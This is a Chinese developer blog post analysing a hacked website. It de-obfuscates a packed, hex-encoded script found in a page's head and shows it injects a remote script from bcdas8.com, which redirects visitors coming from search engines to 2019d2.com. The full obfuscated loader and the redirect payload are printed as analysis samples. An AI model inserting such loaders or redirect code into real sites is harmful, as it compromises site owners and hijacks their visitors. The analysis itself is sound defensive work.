一次网站挂马的分析-CSDN博客

我是一个切图仔,日常的开发也不会涉及太多网络安全相关的东西.今天这篇博客完全是一个巧合,下面就听我细细道来.

起因

说起来也很好玩,起因是群里一个网友说看到一个动画(其实就是一个焦点图),想要参(fu)考(zhi)一下.我本身是没什么兴趣的,毕竟这对我而言不是什么问题了.但我还是点进去看了一下,出于职业习惯,我打开控制台看了一下,结果在文件头部发现了这么一个东西.

上面这段代码成功的引起了我的注意,就打算分析一下这段代码.

代码分析

我们先将这段代码复制并格式化得到下面的代码:

eval(
	(function(p, a, c, k, e, d) {
		e = function(c) {
			return (
				(c < a ? '' : e(parseInt(c / a))) +
				((c = c % a) > 35
					? String.fromCharCode(c + 29)
					: c.toString(36))
			)
		}
		if (!''.replace(/^/, String)) {
			while (c--) d[e(c)] = k[c] || e(c)
			k = [
				function(e) {
					return d[e]
				}
			]
			e = function() {
				return '\\w+'
			}
			c = 1
		}
		while (c--)
			if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
		return p
	})(
		'l["\\e\\c\\1\\n\\f\\8\\o\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0 \\0\\m\\4\\8\\d\\6\\0\\8\\j\\0\\5\\h\\a\\k\\a\\2\\1\\3\\9\\4\\0\\6 \\2\\3\\1\\d\\6\\t\\0\\0\\4\\2\\u\\5\\5\\7\\7\\7\\b\\v\\1\\e\\a\\2\\q\\b\\1\\c\\f\\5\\r\\p\\s\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');',
		32,
		32,
		'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6e|x36|x38|x33|x35|x68|x3a|x62'.split(
			'|'
		),
		0,
		{}
	)
)
复制代码

这样看起来有些费劲,我们做一些美化,首先 eval 可以执行里面的某个字符串,这里先不管他,里面是一个匿名自执行函数,后面括号为传入的参数:

let fun = function(p, a, c, k, e, d) {
	e = function(c) {
		return (
			(c < a ? '' : e(parseInt(c / a))) +
			((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
		)
	}
	if (!''.replace(/^/, String)) {
		while (c--) d[e(c)] = k[c] || e(c)
		k = [
			function(e) {
				return d[e]
			}
		]
		e = function() {
			return '\\w+'
		}
		c = 1
	}
	while (c--)
		if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
	return p
}

let p =
	'l["\\e\\c\\1\\n\\f\\8\\o\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0 \\0\\m\\4\\8\\d\\6\\0\\8\\j\\0\\5\\h\\a\\k\\a\\2\\1\\3\\9\\4\\0\\6 \\2\\3\\1\\d\\6\\t\\0\\0\\4\\2\\u\\5\\5\\7\\7\\7\\b\\v\\1\\e\\a\\2\\q\\b\\1\\c\\f\\5\\r\\p\\s\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');'
let a = 32
let c = 32
let k = 'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6e|x36|x38|x33|x35|x68|x3a|x62'.split(
	'|'
)
let e = 0
let d = {}
复制代码

熟悉是 while 和 if 语句都是简写的, 如果为来更明了可以加上花阔号

其次是''.replace(/^/, String),这个语句永远返回空字符串,那里面的 if 语句就永远为真.

最后是变量,看起来这么长一串,写的啥啊,其实变量 p 里面的双反斜杠的第一个反斜杠是转译字符,k 就不用说了,是一个数组.

运行这个函数,我们得到下面的字符串:

"window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x62\x63\x64\x61\x73\x38\x2e\x63\x6f\x6d\x2f\x33\x36\x35\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');"
复制代码

这个字符串是什么东西呢,网上搜了一下,这些是 js 十六进行加密后的东西,那我们就需要进行 js 十六进制的解密;

十六进制加解密

参考网上文章写了一个十六进制加密解密的方法:

class HexCrypto {
	encrypt(str) {
		let newStr = ''
		for (let i = 0; i < str.length; i++) {
			let s = str.charCodeAt(i).toString(16)
			newStr += '\\x' + s
		}
		return newStr
	}

	decrypt(str) {
		let newStr = ''
		let tempArr = str.split('\\')
		tempArr.forEach(item => {
			if (/^x/.test(item)) {
				let it = item.replace('x', '')
				if (/^\d/.test(it)) {
					let unicode = parseInt(it, 16)
					let suffix = it.substring(String(unicode).length)
					newStr += String.fromCharCode(parseInt(it, 16)) + suffix
				} else {
					newStr += it
				}
			} else {
				newStr += item
			}
		})
		return newStr
	}
}
复制代码

解密之后我们得到了这样一个字符串:

"window["document]["write]('<scripttype="text/javascript" src="https://www.bcdas8.com/365.js"></script>');"
复制代码

别忘了最外层还有一个 eval,那么就理所当然的在文档 head 头部写如了这样一行代码:

<scripttype="text/javascript" src="https://www.bcdas8.com/365.js"></script>
复制代码

引入的 js

如果是自己开发的内容,一般不会做这些加密处理,那我们又再次查看引入的 js 做了些什么呢.

(function () {
    /*百度推送代码*/
     var bp = document.createElement('script');
     bp.src = '//push.zhanzhang.baidu.com/push.js';
     var s = document.getElementsByTagName("script")[0];
     s.parentNode.insertBefore(bp, s);
     /*360推送代码*/
     var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
     document.write('<script src="' + src + '" id="sozz"><\/script>');
     })();

document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://2019d2.com\";");
document.writeln("</script>");
复制代码